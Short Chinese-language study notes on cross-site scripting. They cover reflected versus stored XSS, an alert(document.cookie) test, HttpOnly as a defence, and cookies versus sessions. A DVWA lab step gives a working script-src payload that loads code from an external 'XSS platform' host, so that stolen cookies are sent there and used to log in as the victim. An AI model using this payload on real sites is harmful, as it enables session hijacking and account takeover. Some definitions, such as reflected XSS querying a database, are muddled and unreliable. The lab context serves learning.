XSS

反射型xss

输入的参数带人了数据库进行了查询

但是并没有存入到数据库里面

存储型xss

输入的参数带人了数据库进行了查询

并存入到数据库里面

Html表单

javascript

JavaScript 被数百万计的网页用来改进设计、验证表单、检测浏览器、创建cookies，以及更多的应用。

 

<script>alert(document.cookie)</script>

是可以弹出cookie的用法

在显示cookie的地方加入Httponly属性就不会弹框了，也就不会打到cookie了

现在把打到的cookie发送到xss平台

Xss平台创建一个xss打cookie的项目

Dvwa低级别

我们来输入一个payload

 

script src=http://webxss.top/xss/2newbZ?1532658129></script>#

访问

我们就可以用这个别人的cookie来登录网站了

Firebug插件

编辑和重发

 

浏览器具备存储cookie的功能      

Xss是伪造cookie

Csrf是伪造的表单

 

Cookie存储在客户端(浏览器)

Session存在在服务器端

 

客户端浏览器访问服务器的时候，服务器把客户端信息以某种形式记录在服务器上。这就是Session。客户端浏览器再次访问时只需要从该Session中查找该客户的状态就可以了。